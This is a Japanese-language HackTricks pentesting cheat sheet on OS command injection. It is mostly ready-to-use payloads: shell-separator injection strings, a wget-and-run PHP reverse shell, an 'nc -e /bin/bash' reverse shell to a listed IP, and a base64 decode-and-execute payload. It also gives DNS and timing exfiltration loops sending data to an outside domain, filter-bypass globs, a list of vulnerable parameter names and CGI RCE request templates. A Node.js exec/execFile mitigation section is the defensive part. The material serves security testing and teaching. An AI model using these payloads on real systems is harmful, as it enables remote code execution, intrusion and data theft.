Command Injection

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

command Injectionとは何か?

A command injection は、アプリケーションをホストしているサーバ上で攻撃者が任意のオペレーティングシステムのコマンドを実行できるようにする脆弱性です。その結果、アプリケーションおよびその全データが完全に侵害される可能性があります。これらのコマンドの実行は通常、攻撃者がアプリケーションの環境や基盤となるシステムへの不正なアクセスや制御を得ることを許します。

コンテキスト

入力が挿入されている場所によっては、コマンドの前に引用されたコンテキストを終了させる" または ' を使用)必要があるかもしれません。

Command Injection/Execution

bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

制限 バイパス

もしlinux マシン内で任意のコマンドを実行しようとしているなら、これらのバイパスについて読むと参考になるでしょう:

Bypass Linux Restrictions

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

パラメータ

以下は、code injection および類似の RCE vulnerabilities に対して脆弱である可能性がある上位25のパラメータです (出典: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

データ抽出:1文字ずつ

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS を使ったデータ持ち出し

https://github.com/HoLyVieR/dnsbin のツールに基づいており、dnsbin.zhack.ca でもホストされています。

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS based data exfiltration を確認するオンラインツール:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

JavaScript/TypeScript のバックエンドを監査する際には、Node.js の child_process API にしばしば出くわします。

javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec()shell (/bin/sh -c) を起動するため、shell に特別な意味を持つ文字(バックティック、;&&|$()、…)が含まれると、ユーザ入力を文字列に連結した際に command injection を引き起こします。

対策: execFile() を使う(または spawn()shell オプションなしで使う)し、各引数を別々の配列要素として渡すことで、shell が介在しないようにします:

javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

すべての injection がシェルのメタ文字を必要とするわけではありません。アプリケーションが信頼できない文字列をシステムユーティリティへの引数として渡す場合(execve/execFile を使いシェルを介さない場合でも)、多くのプログラムは先頭が - または -- の引数をオプションとして解釈します。これにより攻撃者はシェルを突破することなく動作モードを切り替えたり、出力先を変更したり、危険な動作を引き起こしたりできます。

典型的に現れる場所:

  • Embedded web UIs/CGI handlers that build commands like ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Centralized CGI routers (e.g., /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) where multiple handlers reuse the same weak validator.

試すべきこと:

  • 下流ツールにフラグとして消費されるように、-/-- で始まる値を与える。
  • 動作を変えたりファイルを書き込んだりするフラグを悪用する。例えば:
    • ping: -f/-c 100000 でデバイスに負荷をかける(DoS)
    • curl: -o /tmp/x で任意パスに書き込む、-K <url> で攻撃者制御の設定を読み込む
    • tcpdump: -G 1 -W 1 -z /path/script.sh で unsafe なラッパーでの post-rotate 実行を狙う
  • プログラムが -- end-of-options をサポートしている場合、誤った箇所に -- を前置することで行われた安直な緩和策を回避できるか試す。

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

総当たり攻撃検出リスト

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする